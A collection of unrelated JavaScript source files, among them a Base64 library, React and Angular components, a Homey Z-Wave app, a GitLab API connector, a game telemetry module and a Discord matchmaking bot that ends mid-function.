+ fromCharCode((offset & 0x3FF) + 0xDC00));
case 3:
return fromCharCode(
((0x0f & cccc.charCodeAt(0)) << 12)
| ((0x3f & cccc.charCodeAt(1)) << 6)
| (0x3f & cccc.charCodeAt(2))
);
default:
return fromCharCode(
((0x1f & cccc.charCodeAt(0)) << 6)
| (0x3f & cccc.charCodeAt(1))
);
}
};
var btou = function (b) {
return b.replace(re_btou, cb_btou);
};
var cb_decode = function (cccc) {
var len = cccc.length,
padlen = len % 4,
n = (len > 0 ? b64tab[cccc.charAt(0)] << 18 : 0)
| (len > 1 ? b64tab[cccc.charAt(1)] << 12 : 0)
| (len > 2 ? b64tab[cccc.charAt(2)] << 6 : 0)
| (len > 3 ? b64tab[cccc.charAt(3)] : 0),
chars = [
fromCharCode(n >>> 16),
fromCharCode((n >>> 8) & 0xff),
fromCharCode(n & 0xff)
];
chars.length -= [0, 0, 2, 1][padlen];
return chars.join('');
};
var atob = global.atob ? function (a) {
return global.atob(a);
} : function (a) {
return a.replace(/[\s\S]{1,4}/g, cb_decode);
};
var _decode = buffer ? function (a) {
return (a.constructor === buffer.constructor
? a : new buffer(a, 'base64')).toString();
}
: function (a) { return btou(atob(a)) };
var decode = function (a) {
return _decode(
String(a).replace(/[-_]/g, function (m0) { return m0 == '-' ? '+' : '/' })
.replace(/[^A-Za-z0-9\+\/]/g, '')
);
};
var noConflict = function () {
var Base64 = global.Base64;
global.Base64 = _Base64;
return Base64;
};
// export Base64
global.Base64 = {
VERSION: version,
atob: atob,
btoa: btoa,
fromBase64: decode,
toBase64: encode,
utob: utob,
encode: encode,
encodeURI: encodeURI,
btou: btou,
decode: decode,
noConflict: noConflict
};
// if ES5 is available, make Base64.extendString() available
if (typeof Object.defineProperty === 'function') {
var noEnum = function (v) {
return { value: v, enumerable: false, writable: true, configurable: true };
};
global.Base64.extendString = function () {
Object.defineProperty(
String.prototype, 'fromBase64', noEnum(function () {
return decode(this)
}));
Object.defineProperty(
String.prototype, 'toBase64', noEnum(function (urisafe) {
return encode(this, urisafe)
}));
Object.defineProperty(
String.prototype, 'toBase64URI', noEnum(function () {
return encode(this, true)
}));
};
}
// that's it!
if (global['Meteor']) {
Base64 = global.Base64; // for normal export in Meteor.js
}
})(this);
|
import React, { createRef, Fragment, useEffect, useState } from 'react';
import {
Breadcrumb,
BreadcrumbItem,
Card,
CardBody,
Col,
Form,
FormGroup,
Input,
Label,
Row,
Spinner,
Pagination,
PaginationItem,
PaginationLink
} from 'reactstrap';
import Cascader from 'rc-cascader';
import RealtimeChart from './RealtimeChart';
import { getCookieValue, createCookie } from '../../../helpers/utils';
import withRedirect from '../../../hoc/withRedirect';
import { withTranslation } from 'react-i18next';
import uuid from 'uuid/v1';
import { toast } from 'react-toastify';
import { APIBaseURL } from '../../../config';
const MeterRealtime = ({ setRedirect, setRedirectUrl, t }) => {
const [cursor, setCursor] = useState(0);
const [maxCursor, setMaxCursor] = useState(0);
const [selectMeterList, setSelectMeterList] = useState([]);
const len = 8;
useEffect(() => {
let is_logged_in = getCookieValue('is_logged_in');
let user_name = getCookieValue('user_name');
let user_display_name = getCookieValue('user_display_name');
let user_uuid = getCookieValue('user_uuid');
let token = getCookieValue('token');
if (is_logged_in === null || !is_logged_in) {
setRedirectUrl(`/authentication/basic/login`);
setRedirect(true);
} else {
//update expires time of cookies
createCookie('is_logged_in', true, 1000 * 60 * 60 * 8);
createCookie('user_name', user_name, 1000 * 60 * 60 * 8);
createCookie('user_display_name', user_display_name, 1000 * 60 * 60 * 8);
createCookie('user_uuid', user_uuid, 1000 * 60 * 60 * 8);
createCookie('token', token, 1000 * 60 * 60 * 8);
}
});
let table = createRef();
// State
const [selectedSpaceName, setSelectedSpaceName] = useState(undefined);
const [cascaderOptions, setCascaderOptions] = useState(undefined);
const [meterList, setMeterList] = useState([]);
const [spinnerHidden, setSpinnerHidden] = useState(false);
useEffect(() => {
//begin of getting space tree
let isResponseOK = false;
fetch(APIBaseURL + '/spaces/tree', {
method: 'GET',
headers: {
'Content-type': 'application/json',
'User-UUID': getCookieValue('user_uuid'),
Token: getCookieValue('token')
},
body: null
})
.then(response => {
console.log(response);
if (response.ok) {
isResponseOK = true;
}
return response.json();
})
.then(json => {
console.log(json);
if (isResponseOK) {
// rename keys
json = JSON.parse(
JSON.stringify([json])
.split('"id":')
.join('"value":')
.split('"name":')
.join('"label":')
);
setCascaderOptions(json);
// set the default space
setSelectedSpaceName([json[0]].map(o => o.label));
let selectedSpaceID = [json[0]].map(o => o.value);
//begin of getting meters of the default space
let isSecondResponseOK = false;
fetch(APIBaseURL + '/spaces/' + selectedSpaceID + '/meters', {
method: 'GET',
headers: {
'Content-type': 'application/json',
'User-UUID': getCookieValue('user_uuid'),
Token: getCookieValue('token')
},
body: null
})
.then(response => {
if (response.ok) {
isSecondResponseOK = true;
}
return response.json();
})
.then(json => {
if (isSecondResponseOK) {
json = JSON.parse(JSON.stringify([json]));
console.log(json);
setMeterList(json[0]);
setSpinnerHidden(true);
} else {
toast.error(json.description);
}
})
.catch(err => {
console.log(err);
});
//end of getting meters of the default space
} else {
toast.error(json.description);
}
})
.catch(err => {
console.log(err);
});
//end of getting space tree
}, []);
const labelClasses = 'ls text-uppercase text-600 font-weight-semi-bold mb-0';
let onSpaceCascaderChange = (value, selectedOptions) => {
setSelectedSpaceName(selectedOptions.map(o => o.label).join('/'));
let selectedSpaceID = value[value.length - 1];
setSpinnerHidden(false);
//begin of getting meters of the selected space
let isResponseOK = false;
fetch(APIBaseURL + '/spaces/' + selectedSpaceID + '/meters', {
method: 'GET',
headers: {
'Content-type': 'application/json',
'User-UUID': getCookieValue('user_uuid'),
Token: getCookieValue('token')
},
body: null
})
.then(response => {
if (response.ok) {
isResponseOK = true;
}
return response.json();
})
.then(json => {
if (isResponseOK) {
json = JSON.parse(JSON.stringify([json]));
console.log(json);
setMeterList(json[0]);
setSpinnerHidden(true);
} else {
toast.error(json.description);
}
})
.catch(err => {
console.log(err);
});
//end of getting meters of the selected space
};
useEffect(() => {
const meterLen = meterList.length;
const maxCursor = Math.ceil(meterLen / len);
setCursor(1);
setMaxCursor(maxCursor);
}, [meterList]);
useEffect(() => {
setSelectMeterList(meterList.slice(cursor * len - 8, cursor * len));
}, [cursor, meterList]);
return (
<Fragment>
<div>
<Breadcrumb>
<BreadcrumbItem>{t('Meter Data')}</BreadcrumbItem>
<BreadcrumbItem active>{t('Meter Realtime')}</BreadcrumbItem>
</Breadcrumb>
</div>
<Card className="bg-light mb-3">
<CardBody className="p-3">
<Form>
<Row form>
<Col xs={6} sm={3}>
<FormGroup className="form-group">
<Label className={labelClasses} for="space">
{t('Space')}
</Label>
<br />
<Cascader
options={cascaderOptions}
onChange={onSpaceCascaderChange}
changeOnSelect
expandTrigger="hover"
>
<Input value={selectedSpaceName || ''} readOnly />
</Cascader>
</FormGroup>
</Col>
<Col xs="auto">
<FormGroup>
<br />
<Spinner color="primary" hidden={spinnerHidden} />
</FormGroup>
</Col>
</Row>
</Form>
</CardBody>
</Card>
<Row noGutters>
{selectMeterList.map(meter => (
<Col lg="3" className="pr-lg-2" key={uuid()}>
<RealtimeChart meterId={meter['id']} meterName={meter['name']} />
</Col>
))}
</Row>
<Pagination>
<PaginationItem>
<PaginationLink first href="#" onClick={() => setCursor(1)} />
</PaginationItem>
<PaginationItem>
<PaginationLink previous href="#" onClick={() => (cursor - 1 >= 1 ? setCursor(cursor - 1) : null)} />
</PaginationItem>
<PaginationItem>
<PaginationLink href="#">{cursor}</PaginationLink>
</PaginationItem>
<PaginationItem>
<PaginationLink next href="#" onClick={() => (cursor + 1 <= maxCursor ? setCursor(cursor + 1) : null)} />
</PaginationItem>
<PaginationItem>
<PaginationLink last href="#" onClick={() => setCursor(maxCursor)} />
</PaginationItem>
</Pagination>
</Fragment>
);
};
export default withTranslation()(withRedirect(MeterRealtime));
|
var class_game_framework_1_1_display_1_1_placement_1_1_position_helper =
[
[ "GetBoundsFromColliders", "class_game_framework_1_1_display_1_1_placement_1_1_position_helper.html#af96ad0647ebdd32f48cef931850026bb", null ],
[ "GetPositionOnPlane", "class_game_framework_1_1_display_1_1_placement_1_1_position_helper.html#ae11621f9ef57e3ff034464a5c4d63759", null ],
[ "GetPositionOnXzPlane", "class_game_framework_1_1_display_1_1_placement_1_1_position_helper.html#a0b39f92ad55cbe4d5b9d94b1f21c4665", null ],
[ "GetPositionOnXzPlane", "class_game_framework_1_1_display_1_1_placement_1_1_position_helper.html#a5a9178d13035793905813f6fd73725e6", null ],
[ "RotatePointAroundPivot", "class_game_framework_1_1_display_1_1_placement_1_1_position_helper.html#ae05c09ff23cac7e00556fd3c14306d1b", null ],
[ "RotatePointAroundPivot", "class_game_framework_1_1_display_1_1_placement_1_1_position_helper.html#abc10007901f084885cece879433e3dea", null ],
[ "XyPlane", "class_game_framework_1_1_display_1_1_placement_1_1_position_helper.html#a3481a0bea3119c7fb831ba336d2be03e", null ],
[ "XzPlane", "class_game_framework_1_1_display_1_1_placement_1_1_position_helper.html#adf4e02cecd3ce90daa191996d93a5802", null ]
];
|
import { connect } from 'react-redux'
import { LAYOUTS } from '../../configs/configs'
import { getCurrentPageMessages } from '../../reducers/stage'
import LayoutBuilder from './LayoutBuilder'
class MessageLayoutBuilder extends LayoutBuilder {
getLayouts = () => {
return LAYOUTS
}
mapSection = (key, index) => {
const { mapping, messages } = this.props
let section = mapping[key]
const item = messages[index]
if (section && item) {
section = { ...section, props: { ...item } }
} else {
section = this.getDefaultSection(key)
}
return { ...section, key: index, props: { ...section.props, index } }
}
}
function mapStateToProps(state) {
return {
messages: getCurrentPageMessages(state)
}
}
export default connect(mapStateToProps, null)(MessageLayoutBuilder)
|
import * as React from 'react';
import createSvgIcon from './utils/createSvgIcon';
import { jsx as _jsx } from "react/jsx-runtime";
export default createSvgIcon( /*#__PURE__*/_jsx("path", {
d: "M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2zm0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"
}), 'MoreVertTwoTone');
|
/**
* @author Charlie Calvert
*/
/* global angular:true */
angular.module('characterMod', []).factory('people', function() {'use strict';
return {
races : [{
name : 'Dwarves',
description : 'Typically about 4 feet tall, stocky, lifespan of 300-400 years. Thick hair and beards',
hitDie : 1,
languages : ['Common', 'Dwarvish'],
classes : ['Cleric', 'Fighter', 'Thief']
}, {
name : 'Halflings',
description : 'Typically 3 tall, 60 lbs., with curly hair, no facial hair, lifespan of about 100 years.',
hitDie : 6,
languages : ['Common', 'Halfling'],
classes : ['Cleric', 'Fighter', 'Thief']
}, {
name : 'Elves',
description : 'Typically about 5 feet tall, slender, 130 lbs. Lifespan of 1200 years or more. Pale with dark hair, pointed ears, little or no facial hair.',
hitDie : 6,
languages : ['Common', 'Elvish'],
classes : ['Fighter', 'Magic User']
}, {
name : 'Humans',
description : 'Average male is typically 6 feet tall, 175 lbs., and lives about 75 years.',
hitDie : 1,
languages : ['Common'],
classes : ['Any']
}],
classes : [{
name : 'Cleric',
armor : 'any',
hitDie : 6,
shield : true,
spells : ['none'],
weapons : ['club', 'mace', 'maul', 'quarterstaff', 'sling', 'warhammer'],
xpForLevelTwo : 1500
}, {
name : 'Fighter',
armor : 'any',
hitDie : 8,
shield : true,
spells : ['none'],
weapons : ['Any'],
xpForLevelTwo : 2000
}, {
name : 'Magic-User',
armor : 'none',
hitDie : 4,
shield : false,
spells : ['Charm Person', 'Detect Magic', 'Floating Disc', 'Hold Portal', 'Light', 'Magic Missile', 'Magic Mouth', 'Protection from Evil', 'Read Languages', 'Read Magic', 'Shield', 'Sleep', 'Ventriloquism'],
weapons : ['cudgel', 'dagger', 'walking staff'],
xpForLevelTwo : 2500
}, {
name : 'Thief',
armor : 'leather',
hitDie : 4,
shield : false,
spells : ['none'],
weapons : ['any'],
xpForLevelTwo : 1250
}],
hero : {
// race: this.races[2],
// "class": this.classes[2],
hitPoints : 12,
damage : 2,
bonusDamage : function() {
return Math.floor(Math.random() * 2) + 1;
},
bonusHitPoints : function() {
return Math.floor(Math.random() * 4) + 1;
}
},
tower : function() {
return {
hitPoints : 4,
damage : 1,
bonusDamage : function() {
return Math.floor(Math.random() * 2) + 1;
},
bonusHitPoints : function() {
return Math.floor(Math.random() * 4) + 1;
}
};
}
};
});
|
'use strict';
const Homey = require('homey');
class MCOhomeApp extends Homey.App {
onInit() {
this.log('MCOhomeApp is running...');
this.actionStartDimLevelChange = new Homey.FlowCardAction('action_DIM_startLevelChange')
.register()
.registerRunListener(this._actionStartDimLevelChangeRunListener.bind(this));
this.actionStopDimLevelChange = new Homey.FlowCardAction('action_DIM_stopLevelChange')
.register()
.registerRunListener(this._actionStopDimLevelChangeRunListener.bind(this));
// thermostat_onoff trigger cards
this.triggerThermostatOnoffTrue = new Homey.FlowCardTriggerDevice('thermostat_onoff_true').register();
this.triggerThermostatOnoffFalse = new Homey.FlowCardTriggerDevice('thermostat_onoff_false').register();
// Register conditions for flows
this.triggerThermostatOnoffOn = new Homey.FlowCardCondition('thermostat_onoff_on')
.register()
.registerRunListener((args, state) => {
return args.device.getCapabilityValue('thermostat_onoff');
});
}
async _actionStartDimLevelChangeRunListener(args, state) {
if (!args.hasOwnProperty('direction')) return Promise.reject('direction_property_missing');
args.device.log('FlowCardAction triggered to start dim level change in direction', args.direction);
const nodeCommandClassVersion = parseInt(args.device.node.CommandClass.COMMAND_CLASS_SWITCH_MULTILEVEL.version);
const startLevelChangeObj = {
Properties1: Buffer.from([args.direction === '1' ? (nodeCommandClassVersion > 2 ? 0x68 : 0x60) : 0x20]), // direction based, always ignoring start level
'Start Level': 0,
'Dimming Duration': args.duration / 1000 || 255, // if no duration has been set, use factory default (255),
'Step Size': 1,
};
if (args.device.node.CommandClass.COMMAND_CLASS_SWITCH_MULTILEVEL) {
return await args.device.node.CommandClass.COMMAND_CLASS_SWITCH_MULTILEVEL.SWITCH_MULTILEVEL_START_LEVEL_CHANGE(startLevelChangeObj);
}
return Promise.reject('unknown_error');
}
async _actionStopDimLevelChangeRunListener(args, state) {
args.device.log('FlowCardAction triggered for ', args.device.getName(), 'to stop dim level change');
if (args.device.node.CommandClass.COMMAND_CLASS_SWITCH_MULTILEVEL) {
return await args.device.node.CommandClass.COMMAND_CLASS_SWITCH_MULTILEVEL.SWITCH_MULTILEVEL_STOP_LEVEL_CHANGE({});
}
return Promise.reject('unknown_error');
}
}
module.exports = MCOhomeApp;
|
console.log("Datastructures in Javascript");
|
const defaultTheme = require('tailwindcss/defaultTheme')
module.exports = {
theme: {
extend: {
boxShadow: {
'outline-primary': '0 0 0 3px rgba(164, 201, 254, 0.45)'
},
colors: {
primary: {
'50': '#ebf5ff',
'100': '#e1effe',
'200': '#c3ddfd',
'300': '#a4cafe',
'400': '#76a9fa',
'500': '#3f83f8',
'600': '#1c64f2',
'700': '#1a56db',
'800': '#1e429f',
'900': '#233876',
}
},
fontFamily: {
sans: ['Roboto', ...defaultTheme.fontFamily.sans],
},
},
},
future: {
removeDeprecatedGapUtilities: true,
purgeLayersByDefault: true,
},
plugins: [
require('@tailwindcss/ui'),
]
}
|
/**
* Auto-generated action file for "Gitlab" API.
*
* Generated at: 2019-05-07T14:41:02.328Z
* Mass generator version: 1.1.0
*
* flowground :- Telekom iPaaS / gitlab-com-connector
* Copyright © 2019, Deutsche Telekom AG
* contact: flowground@telekom.de
*
* All files of this connector are licensed under the Apache 2.0 License. For details
* see the file LICENSE on the toplevel directory.
*
*
* Operation: 'getV3ProjectsIdBoardsBoardIdLists'
* Endpoint Path: '/v3/projects/{id}/boards/{board_id}/lists'
* Method: 'get'
*
*/
const Swagger = require('swagger-client');
const processWrapper = require('../services/process-wrapper');
const spec = require('../spec.json');
// this wrapers offers a simplified emitData(data) function
module.exports.process = processWrapper(processAction);
// parameter names for this call
const PARAMETERS = [
"id",
"board_id"
];
// mappings from connector field names to API field names
const FIELD_MAP = {
"id": "id",
"board_id": "board_id"
};
function processAction(msg, cfg) {
var isVerbose = process.env.debug || cfg.verbose;
if (isVerbose) {
console.log(`---MSG: ${JSON.stringify(msg)}`);
console.log(`---CFG: ${JSON.stringify(cfg)}`);
console.log(`---ENV: ${JSON.stringify(process.env)}`);
}
const contentType = undefined;
const body = msg.body;
mapFieldNames(body);
let parameters = {};
for(let param of PARAMETERS) {
parameters[param] = body[param];
}
// credentials for this operation
let securities = {};
securities['private_token_header'] = cfg['private_token_header'];
securities['private_token_query'] = cfg['private_token_query'];
let callParams = {
spec: spec,
operationId: 'getV3ProjectsIdBoardsBoardIdLists',
pathName: '/v3/projects/{id}/boards/{board_id}/lists',
method: 'get',
parameters: parameters,
requestContentType: contentType,
requestBody: body.requestBody,
securities: {authorized: securities},
server: spec.servers[cfg.server] || cfg.otherServer,
};
if (isVerbose) {
let out = Object.assign({}, callParams);
out.spec = '[omitted]';
console.log(`--SWAGGER CALL: ${JSON.stringify(out)}`);
}
// Call operation via Swagger client
return Swagger.execute(callParams).then(data => {
// emit a single message with data
this.emitData(data);
// if the response contains an array of entities, you can emit them one by one:
// data.obj.someItems.forEach((item) => {
// this.emitData(item);
// }
});
}
function mapFieldNames(obj) {
if(Array.isArray(obj)) {
obj.forEach(mapFieldNames);
}
else if(typeof obj === 'object' && obj) {
Object.keys(obj).forEach(key => {
mapFieldNames(obj[key]);
let goodKey = FIELD_MAP[key];
if(goodKey && goodKey !== key) {
obj[goodKey] = obj[key];
delete obj[key];
}
});
}
}
|
module.exports = {
apiUrl: 'https://api.graph.cool/simple/v1/cj8lbqhc500ws0106i7y1yevv'
}
|
mycallback( {"CONTRIBUTOR OCCUPATION": "Wealth Management", "CONTRIBUTION AMOUNT (F3L Bundled)": "500.00", "ELECTION CODE": "G2010", "MEMO CODE": "", "CONTRIBUTOR EMPLOYER": "WheelerFrost Associates Inc", "DONOR CANDIDATE STATE": "", "CONTRIBUTOR STREET 1": "3624 Fenalon St", "CONTRIBUTOR MIDDLE NAME": "", "DONOR CANDIDATE FEC ID": "", "DONOR CANDIDATE MIDDLE NAME": "", "CONTRIBUTOR STATE": "CA", "DONOR CANDIDATE FIRST NAME": "", "CONTRIBUTOR FIRST NAME": "Peter", "BACK REFERENCE SCHED NAME": "", "DONOR CANDIDATE DISTRICT": "", "CONTRIBUTION DATE": "20101018", "DONOR COMMITTEE NAME": "", "MEMO TEXT/DESCRIPTION": "", "Reference to SI or SL system code that identifies the Account": "", "FILER COMMITTEE ID NUMBER": "C00441410", "DONOR CANDIDATE LAST NAME": "", "CONTRIBUTOR LAST NAME": "Wheeler", "_record_type": "fec.version.v7_0.SA", "CONDUIT STREET2": "", "CONDUIT STREET1": "", "DONOR COMMITTEE FEC ID": "", "CONTRIBUTION PURPOSE DESCRIP": "", "CONTRIBUTOR ZIP": "92106", "CONTRIBUTOR STREET 2": "", "CONDUIT CITY": "", "ENTITY TYPE": "IND", "CONTRIBUTOR CITY": "San Diego", "CONTRIBUTOR SUFFIX": "", "TRANSACTION ID": "INCA496", "DONOR CANDIDATE SUFFIX": "", "DONOR CANDIDATE OFFICE": "", "CONTRIBUTION PURPOSE CODE": "15", "ELECTION OTHER DESCRIPTION": "", "_src_file": "2011/20110504/727399.fec_1.yml", "CONDUIT STATE": "", "CONTRIBUTOR ORGANIZATION NAME": "", "BACK REFERENCE TRAN ID NUMBER": "", "DONOR CANDIDATE PREFIX": "", "CONTRIBUTOR PREFIX": "Mr.", "CONDUIT ZIP": "", "CONDUIT NAME": "", "CONTRIBUTION AGGREGATE F3L Semi-annual Bundled": "750.00", "FORM TYPE": "SA11AI"});
|
import * as ls from 'app/lib/ls';
import { getEnsuredAccessToken } from 'app/lib/destinyAuth';
const log = require('app/lib/log')('telemetry');
function getNameFromBungieProfile(bungieNetProfile) {
const { psnDisplayName, xboxDisplayName, uniqueName } = bungieNetProfile;
const nameArr = [
psnDisplayName && `psn:${psnDisplayName}`,
xboxDisplayName && `xbox:${psnDisplayName}`
].filter(Boolean);
if (!nameArr.length) {
nameArr.push(uniqueName);
}
const name = nameArr.join(' ');
return name;
}
let db;
function getFirebaseDb() {
if (db) {
return Promise.resolve(db);
}
const importPromise = Promise.all([
import(/* webpackChunkName: "firebase" */ 'firebase/app'),
import(/* webpackChunkName: "firebase" */ 'firebase/database')
]);
importPromise.catch(err => {
console.error('Error importing firebase', err);
console.error(err);
});
return importPromise.then(([firebase]) => {
firebase.initializeApp({
apiKey: 'AIzaSyDA_n6Ix4o6K2vW4zlFFmWk2XCzqPesDZo',
authDomain: 'destinysets.firebaseapp.com',
databaseURL: 'https://destinysets-new.firebaseio.com',
projectId: 'destinysets',
storageBucket: 'destinysets.appspot.com',
messagingSenderId: '621939283066'
});
db = firebase.database();
window.__db = db;
return db;
});
}
export function getDebugProfile(path) {
return getFirebaseDb()
.then(db => {
const ref = db.ref(path);
return ref.once('value');
})
.then(snapshot => snapshot.val())
.then(data => JSON.parse(data));
}
export function saveDebugInfo(debugData, pathPrefix = 'debug') {
log('Saving debug info', debugData);
setExtraUserContext({ debugId: debugData.debugId });
return getFirebaseDb()
.then(db => {
const key = `${pathPrefix}/${debugData.debugId}`;
console.log('telem with', { key, debugData });
return db.ref(key).set(debugData);
})
.catch(err => {
console.error('Unable to saveDebugInfo', err);
console.error(err);
});
}
export function setUser(bungieNetProfile) {
const { membershipId } = bungieNetProfile;
const { ga, Raven } = window;
ls.saveUID(membershipId);
const uid = ls.getUID();
const name = getNameFromBungieProfile(bungieNetProfile);
ga && ga('set', '&uid', uid);
ga && ga('set', 'userId', uid);
Raven &&
Raven.setUserContext({
id: uid,
username: name
});
}
export function trackError(...args) {
const { Raven } = window;
if (!Raven) {
return null;
}
Raven.captureException(...args);
}
export function setExtraUserContext(data) {
const { Raven } = window;
if (!Raven) {
return null;
}
Raven.setExtraContext(data);
}
export function trackBreadcrumb(data) {
const { Raven } = window;
if (!Raven) {
return null;
}
Raven.captureBreadcrumb(data);
}
export function errorPrompt(ev) {
if (ev && ev.preventDefault) {
ev.preventDefault();
}
const { Raven } = window;
if (!Raven) {
window.alert(
'Unable to load error library. Maybe an adblocker interferred?'
);
return null;
}
Raven.showReportDialog();
}
export function sendProfileStats() {
if (process.env.REACT_APP_PREVENT_STATS) {
return Promise.resolve();
}
return getEnsuredAccessToken()
.then(accessToken => {
return fetch(
`https://stats.destinysets.com/update-inventory?accessToken=${encodeURIComponent(
accessToken
)}`,
{ method: 'POST' }
);
})
.then(r => r.json())
.then(d => log('Sent profile stats', d));
}
|
const UTIL = require('./util');
let Discord;
const EMOJI_JOIN = '⚔️';
const EMOJI_START = '🦸🏿♂️';
const EMOJI_CANCEL = '❌';
const EMOJI_GO_TOP = ':point_up_2:';
const EMPTY_SLOT_SYMBOL = '-';
const Q_TIMEOUT_T = 1000 * 60 * 60;
const Q_SLOT_1 = 0;
const Q_SLOT_2 = 1;
const Q_SLOT_3 = 2;
const Q_SLOT_4 = 3;
const Q_SLOT_FOR_INFO = 4;
const Q_THUMBNAIL_IN_PROGRESS = 'https://firebasestorage.googleapis.com/v0/b/personalpublic-ae1da.appspot.com/o/discord%2Fcheerleaders.png?alt=media&token=aac3f437-87b1-49be-b446-a9015f64cb57';
const Q_THUMBNAIL_SUCCESS = 'https://firebasestorage.googleapis.com/v0/b/personalpublic-ae1da.appspot.com/o/discord%2Fswords(2).png?alt=media&token=d22f538a-bc45-4a89-a497-3c3c68e2e4af';
const Q_THUMBNAIL_CLOSED = 'https://firebasestorage.googleapis.com/v0/b/personalpublic-ae1da.appspot.com/o/discord%2Fshipwreck.png?alt=media&token=c9fc0e34-6296-49bf-a78c-73d04b7bbce1';
const GOOD_NOTIFICATION_COLOR = '#57F287';
const WARNING_NOTIFICATION_COLOR = '#FEE75C';
const SUCCESS_NOTIFICATION_COLOR = '#00a800';
const BAD_NOTIFICATION_COLOR = '#ED4245';
const RS_EMBED_TITLE = '[%playerCount%/4] RS %redStarLevel% Matchmaking';
const RS_LVLS = {
3: {
color: '#78D64B',
},
4: {
color: '#00B140',
},
5: {
color: '#3CDBC0',
},
6: {
color: '#00A3E0',
},
7: {
color: '#FFA400',
},
8: {
color: '#FF6900',
},
9: {
color: '#FA4616',
},
10: {
color: '#FA4616',
},
11: {
color: '#FA4616',
},
}
async function doRedStar(discordRef, message, redStarLevel) {
Discord = discordRef;
UTIL.logger('RedStar Search', `${message.author.username} - RS ${redStarLevel}`);
// send Q message
// await message.channel.send(buildQMessageIntro(message, redStarLevel));
const sendEmbed = message.channel.send(buildQMessage(message, redStarLevel));
UTIL.logger('Q', `${message.author.username} - RS ${redStarLevel} | Send embed`);
sendEmbed.then((searchMessage) => {
// cache embed
let currentEmbed = searchMessage.embeds[0];
// add reactions to Q embed
try {
searchMessage.react(EMOJI_JOIN);
searchMessage.react(EMOJI_START);
searchMessage.react(EMOJI_CANCEL);
} catch(err) {
UTIL.logger('ERROR', `${message.author.username} - RS ${redStarLevel} | Can't react to message`);
console.log(err);
}
// init reaction watcher
const reactionCollector = new Discord.ReactionCollector(searchMessage, reactionFilter, { dispose: true });
// delete Q after 1h
let QAutoDestroy = setTimeout(() => {
// Stop reaction watcher
reactionCollector.stop();
// Update embed with status "CLOSED"
currentEmbed = editEmbedForClose(currentEmbed, redStarLevel, false);
searchMessage.edit(currentEmbed).catch((err) => {
UTIL.logger('ERROR', `${message.author.username} - RS ${redStarLevel} | Can't edit embed message`);
console.log(err);
});
// send destroy message
sendQAutoDestroyMessage(message, currentEmbed, redStarLevel, searchMessage);
UTIL.logger('Q', `${message.author.username} - RS ${redStarLevel} | Destroy Q on timeout`);
}, Q_TIMEOUT_T);
reactionCollector.on('collect', (reaction, user) => {
// ignore reactions made by bots
if (user.bot) {
return;
}
const isQAuth = isQAuthor(message, user);
if (reaction.emoji.name === EMOJI_JOIN && !isQAuth) {
currentEmbed = addPlayerToQAdnReturnNewEmbed(searchMessage, currentEmbed, user, redStarLevel);
searchMessage.edit(currentEmbed).catch((err) => {
UTIL.logger('ERROR', `${message.author.username} - RS ${redStarLevel} | Can't edit embed message`);
console.log(err);
});
UTIL.logger('Q', `${message.author.username} - RS ${redStarLevel} | Add ${user.username} to Q`);
// execute this after the embed is updated
const qMembersCount = getQMembersCount(currentEmbed);
const qMembersList = getQMembersAsList(currentEmbed);
const searchMessageUrl = getSearchMessageUrl(searchMessage);
// Check if game is rdy
if (qMembersCount === 4) {
// Stop reaction watcher
reactionCollector.stop();
// Stop Q timeout
clearTimeout(QAutoDestroy);
sendRsReadyMessage(message, user, redStarLevel, qMembersCount, qMembersList, searchMessageUrl);
UTIL.logger('Q', `${message.author.username} - RS ${redStarLevel} | Q is rdy`);
} else {
sendNewUserJoinedMessage(message, user, redStarLevel, qMembersCount, qMembersList, searchMessageUrl);
}
}
if (reaction.emoji.name === EMOJI_START && isQAuth) {
UTIL.logger('Q', `${message.author.username} - RS ${redStarLevel} | Start Game`);
// Stop reaction watcher
reactionCollector.stop();
// Stop Q timeout
clearTimeout(QAutoDestroy);
// Update embed with status "CLOSED"
currentEmbed = editEmbedForClose(currentEmbed, redStarLevel, true);
searchMessage.edit(currentEmbed).catch((err) => {
UTIL.logger('ERROR', `${message.author.username} - RS ${redStarLevel} | Can't edit embed message`);
console.log(err);
});
sendStartQMessage(message, currentEmbed, redStarLevel, searchMessage);
}
if (reaction.emoji.name === EMOJI_CANCEL && isQAuth) {
UTIL.logger('Q', `${message.author.username} - RS ${redStarLevel} | Delete Q`);
// Stop reaction watcher
reactionCollector.stop();
// Stop Q timeout
clearTimeout(QAutoDestroy);
// Update embed with status "CLOSED"
currentEmbed = editEmbedForClose(currentEmbed, redStarLevel, false);
searchMessage.edit(currentEmbed).catch((err) => {
UTIL.logger('ERROR', `${message.author.username} - RS ${redStarLevel} | Can't edit embed message`);
console.log(err);
});
// Send cancel Q notification
sendCancelQMessage(message, currentEmbed, redStarLevel, searchMessage);
}
});
reactionCollector.on('remove', (reaction, user) => {
// ignore reactions made by bots
if (user.bot) {
return;
}
const isQAuth = isQAuthor(message, user);
if (reaction.emoji.name === EMOJI_JOIN && !isQAuth) {
currentEmbed = removePlayerFromQAdnReturnNewEmbed(searchMessage, currentEmbed, user, redStarLevel);
searchMessage.edit(currentEmbed).catch((err) => {
UTIL.logger('ERROR', `${message.author.username} - RS ${redStarLevel} | Can't edit embed message`);
console.log(err);
});
const qMembersCount = getQMembersCount(currentEmbed);
const qMembersList = getQMembersAsList(currentEmbed);
const searchMessageUrl = getSearchMessageUrl(searchMessage);
sendUserLeftMessage(message, user, redStarLevel, qMembersCount, qMembersList, searchMessageUrl);
UTIL.logger('Q', `${message.author.username} - RS ${redStarLevel} | Remove ${user.username} from Q`);
}
});
});
}
function getSearchMessageUrl(searchMessage) {
const messageId = searchMessage.id;
const channelId = searchMessage.channel.id;
const guildId = searchMessage.channel.guild.id;
return `https://discordapp.com/channels/${guildId}/${channelId}/${messageId}`;
}
function editEmbedForClose(currentEmbed, redStarLevel, success = false) {
let newEmbed = new Discord.MessageEmbed(currentEmbed);
// UPDATE EMBED TITLE
newEmbed.title = returnEmbedTitle(0, redStarLevel);
// UPDATE FIELDS
newEmbed = newEmbed.spliceFields(Q_SLOT_FOR_INFO, 1);
// UPDATE THUMBNAIL
if (success) {
newEmbed.setThumbnail(Q_THUMBNAIL_SUCCESS);
} else {
newEmbed.setThumbnail(Q_THUMBNAIL_CLOSED);
}
return newEmbed;
}
function invalidRedStarLvl(message) {
return tipsMessage(message, `
**LVL-ul Red Star-ului nu este corect sau lipseste!**
